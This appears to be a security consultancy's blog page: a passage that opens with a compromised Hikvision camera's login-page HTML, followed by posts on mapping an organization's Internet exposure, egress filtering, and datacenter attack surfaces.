    <meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″>
    <link rel=”stylesheet” href=”../css/base.css” type=”text/css” />
    <link rel=”stylesheet” href=”../css/login.css” type=”text/css” />
    <script type=”text/javascript” src=”../script/jquery-1.7.1.min.js”></script>
    <script type=”text/javascript” src=”../script/jquery.cookie.js”></script>
    <script type=”text/javascript” src=”../script/login.js”></script>
    <script type=”text/javascript” src=”../script/common.js”></script>
    <script type=”text/javascript” src=”../script/Translator.js”></script>
</head>
<body onload=”initLogin()”>
<div id=”container”>
    <div>
        <div>
            <select id=”LanguageSelect” name=”LanguageSelect” onchange=”changeFrameLanguage(this.value)”></select> 
        </div>
        <div>
            <div>
                <span>
                    <label id=”lausername” name=”lausername”></label>
                </span>
                <span>
                    <input type=”text” id=”loginUserName” maxlength=”16″ />
                </span>
            </div>
            <div>             
                <span>
                    <label id=”lapassword” name=”lapassword”></label>
                </span>
                <span>
                    <input type=”Password” id=”loginPassword” maxlength=”16″ />
                </span>             
            </div>
            <div>
                <span></span>             
                <span onclick=”doLogin()” onmousemove=”this.className=’loginbtnon'” onmouseout=”this.className=’loginbtn'”>
                    <label id=”lalogin” name=”lalogin” ></label>
                </span>             
            </div>
 
        </div>
    </div>
    <!–<div>
        <label name=”laCopyRight”>©Hikvision Digital Technology Co., Ltd. All Rights   Reserved.</label>
    </div>–>
</div>
</body>
</html>

Bingo – so I have a confirmed case of compromised video equipment in Brazil scanning my home Internet IP for a vulnerability affecting NAS storage devices.

Small world, no? 

This was genuinely fun for me as it allowed me to take an interesting but somewhat remote piece of the constant security news-stream and render it immediate and real – that was MY IP being scanned.  

BTW: Does your organization  have video equipment with exposed interfaces on YOUR Internet perimeter?  Many of you do… and don’t know it. 

 

 

Avatar, Know Thyself!: The view of your organization from the Internet

“….(His) Inner eye opened to the stepped scarlet pyramid of the Eastern Seaboard Fission Authority burning beyond the green cubes of Mitsubishi Bank of America, and high and very far away he saw the spiral arms of military systems, forever beyond his reach.”

from “Neuromancer“, William Gibson 

… and off in the corner of that vast array of light and shadow – that brave new world we have created beyond the pixels – sits you and your organization.  Your company, your school, your governmental organization….visible in a way you may have never seen.

 And that’s the problem.  

William Gibson’s protagonist has the ability to “jack into the matrix” and see this new world for what it is: A universe of manipulable interfaces and data constructs that radiates beyond the physical world.  Invisible to those not so gifted. 

My experience over the last few years has made me aware that many organizations that have a face they present to this new world are unaware of what it looks like. 

Attackers do.  They see your presence on the Internet with bright clarity.

Its not the building you drive to everyday. Its not the office, cubicle farm, memos, meetings, and daily internal dramas that occupy so much of our work day.

It’s not these windows an attacker sees:  

building

It’s windows like this one – visible to any Internet attacker: 

office2

 

… or this: 

building04

There’s nothing inherently wrong with having such a “window” on the Internet, just as there’s nothing wrong about having windows in your house.  But – you know ALL the windows in your house.  You make sure they are closed, locked, and in some cases you replace the more vulnerable ones with glass brick, or remove them entirely. 

Do you know the windows your enterprise shows to the Internet?   And if your reaction is, “Well, I don’t, but I’m sure someone does.”  – you may be surprised to find they don’t. Your techs – including your networking techs – may know the exposures they are responsible for – but they may be completely unaware of exposures created 10 years ago by some previous group.  These exposures live on, potentially populated by systems no longer being maintained.   It happens – a lot.

What to do?   How to learn who you are on the Internet? 

  • Talk to your network admins about the Internet ranges assigned to your organization. 
    • They will know what they manage – but that may be all they know.
    • They may be unaware of network ranges that are in use ( or were at one time)  by other portions of your enterprise now or in the past.
    • If your organization has grown as a result of mergers an acquisitions there could very well be ranges in use they are completely unaware of. 
    • Be aware also that “mistakes happen”.  Firewall rules are typo’ed and unintended exposures occur. 
  • Contact your Billing department.
    • Make sure you can account for all payments to Internet Service Providers (ISPs) by your organizations.  Get contact info. 
  • Contact your known ISPs.
    •  Ask them what IP ranges you are assigned.  Be aware that you may be told   a range of IP addresses that is actually larger than what you are assigned – a range that encompasses other organization’s assignments.  You will have to check.
  • Become familiar with ARIN (American Registry for Internet Numbers) and the other “Regional Internet Registries” (RIR). 
    • ARIN handles IP range registration for North America
    • IP ranges may be specifically allocated to your organization, or they may be suballocated by your Internet Service provider (ISP) functioning as a “Local Internet Registry
    • Try a lookup of one of your known IP address at: https://www.arin.net/
    • Be aware that your primary public web site may be at a hosting facility and not at an IP address actually allocated to your own organization.  FTP, VPN and other such services are more likely to be “yours”. 
  • Become familiar with the WHOIS command, available on all Linux variants. 
    • Do WHOIS lookups based on IP addresses you know to be yours. 
    • Various web services provide WHOIS lookup:
    • Depending on the diligence of your ISP ( and that of any upstream providers they in turn use) you may find specific information about your sub-allocation. If not – talk to your ISP 

Verify your new list of Internet IP addresses!  ( as in “trust, but verify“) 

  • FIRST! – Let you ISP know you will be doing checks against your assigned IPs. 
  • Examine each Internet IP address for its service exposure – look for returned banners and check each web server exposure with a browser.  
  • Are they all yours?  – If not ( and it happens) contact your ISP to resolve. 
  • Make a definitive list of your confirmed IP addresses and their services. 
  • Circulate that list within your organization – look for confirmation or objection.
  • Publish the list when finalized – make sure everyone who could remove or create a new exposure knows that they must keep that list current!

Your organization now knows what it looks like on the Internet. 

  • Keep the list updated and disseminated within your organization. 
  • Either perform or commission regular (quarterly?) security assessments against ALL your Internet services.  
  • These assessments will test the security of your services AND inventory them. 
  • You may be surprised when new services appear or old ones disappear. Change management is a great – when it works.  😉
  • Act quickly to resolve any security findings.  No internal excuses for public vulnerabilities!

Following the above steps will help you to know what your organization looks like in the “new” real world and will help ensure that look is a secure and confident one.

Questions?   Email: info@micrsosolved.com

 

 

 

 

 

Egress Filtering

As I mentioned in my last post (Datacenter Attack Surfaces), I’d like to take some time to discuss the basics of “Egress Filtering“.  

Egress = “the action of going out of or leaving a place“.  In the context of controlling information flow within a datacenter,  egress filtering is the practice of examining, and potentially denying, outbound communication to external networks such as the Internet. The topic is discussed in the Wikipedia article on Egress Filtering, an article I have helped maintain. 

Here is a diagram that shows the type of environments I typically encounter that have no egress filtering. The risks are illustrated. 

No-Egress

Employee laptops go home to an environment beyond your control. Regardless of your “end-point” security, a subset of those laptops will be compromised and under the control of attackers.  That control will be re-asserted the minute the laptop fires up within your organization and makes that unfiltered outbound connection. The diagram above shows what can – and does,  in my experience – happen. 

The next diagram shows an environment with egress filtering in place. 

Egress

Egress filtering as depicted above has a chance of minimizing the potential impact to your organization from a compromised laptop.  By tightly controlling outbound access and paying strict attention to denied attempts you will be able to quickly zero in on a subset of your compromised internal machines. 

Various proxy or “content filtering” solutions exist that will satisfy the basic requirements for an intermediary device that examines outbound connection attempts.   An open-source Squid proxy alone can blunt the effect of much malware. More elaborate (and costly) commercial solutions exist that can update restrictions in real-time based on malware events being reported globally.   

Finally, as discussed in the “Datacenter Attack Surfaces”  post, try to limit the network visibility your core servers have from the vantage point of your employee’s machines. That will limit the ability of a compromised laptop being used as a attack platform against your datacenter. 

Minimizing your internal attack surfaces and controlling egress gives you a fighting chance against modern malware.  If you have trouble convincing management that the cost and effort is worth it, get in contact with us.  We can help you make the case. 

Good luck… and as always: Watch your logs!

 References: 

 

 

 

 

 

Datacenter Attack Surfaces

Hello!  I’m Jim Klun – a comparatively recent addition to the team here at Microsolved. 

I have worked over the years to protect large datacenter environments from compromise.  I want to take moment to share a way to look at the external security risks facing such an environment .  I’ve used it effectively to explain (usually to senior management)  the reality of risks that often go unplanned for.

 Essentially, I have come to view a typical datacenter environment as presenting three major “doorways” that external attackers will attempt to break through.  These are often described as “attack surfaces” in the literature and are illustrated below:

Let’s take a look at each side of this “attack surface” triangle

Internet

An organization’s Internet presence – the Internet-facing services offered to the public over the Internet – is usually well understood as an attack surface.  Organizations with at least some security awareness will ensure that servers with publicly exposed services are protected by a firewall, offer only a limited number of secured services to the Internet and tightly monitor those services for signs of potential abuse or compromise.  Best practice also dictates that they be in a separate network segment (e.g. a “DMZ”) with limited access into the rest of the datacenter.  Segmentation makes it more difficult for an attacker who has gained access to an Internet server to extend their control inward without being detected.

But – note the other attack surfaces shown in the diagram. These are the ones often ignored by organizations.  The reason is invariably a misplaced sense of “trust”. 

Private Connections

These are the various “private” pathways into your datacenter provided to vendors, business partners or customers.  Communication may be over dedicated non-Internet communication channels or possibly via site-to-site VPN over the Internet.  Portions of some other organization’s internal infrastructure is connected to yours via such paths.  Your organization becomes dependent on their internal security.

Regardless of the private communication mechanism, the special nature of the relationship invariably instills a sense of trust in the security of the connection.  The assumption is the folks at the other end are “doing the right thing” and pose a limited risk.   But of course you have no way of really knowing that.  A compromise of a vendor site that has a direct connection into your datacenter so that the vendor can perform maintenance work on your servers is a  real and serious risk to you.  As an attacker, I would delight after compromising a support vendor to find such maintenance connections.
Hopefully one would not be to your datacenter.

Unless you have complete, assured control of the infrastructure at such sites, you must assume they are potentially hostile.  Firewalls, logging, segmentation, and intrusion detection are as much a requirement here as they are for the Internet.

Employee/Contractors

“We trust our employees!”   Of course you do.  But trust here goes beyond trust of the individual human being.  The trust is of a combined entity – your employee AND that company laptop they take home every night.  Few people are capable of using a Windows-based laptop in such a way as to avoid compromise over the long term.  You may have a full array of anti-malware solutions running on company laptops, but the simple fact of modern digital life is a subset of them will be compromised and you will not detect it.

The trick is to limit the damage that any one such compromised laptop can do to the security of your datacenter.  If you have no firewalls between your internal employee space and your datacenter and you have no controls on outbound traffic from your employee space to the Internet (porn filters are not enough), then an attacker who has remote control of that laptop can simply use it as an internal attack platform against your datacenter.   This has become a major vector for data-center compromise.

Employee desktop/laptop/smartphone IP-space should be entirely different from that used internally within your datacenter.  Firewalls should lie between those spaces. Strict limits must be imposed on what your non-technical users “see” of your datacenter.  If they can see everything, then an attacker who has taken control of their machine can see it all as well. Ideally all access to datacenter servers by technical administrators is by way of “jump hosts” that sit at the boundary between the datacenter and employee space. Two factor authentication for access to such administrative jump-hosts is  a requirement.  System admins are just as likely as any other user to have traditional credentials stolen.

By limiting what your internal users can see of your datacenter and logging all access attempts, you have some chance of limiting the opportunities for attack from a compromised laptop and at least some chance of detecting it if it does occur.

Don’t think it happens?   http://spectrum.ieee.org/riskfactor/computing/it/south-korean-banks-weeklong-system-failure-affecting-30-million-an-inside-job

_______________________________________________________

For my next post,  I’d like take a look at a topic closely related to the above: Egress Filtering.  Don’t do it?   You need to.  See: http://en.wikipedia.org/wiki/Egress_filtering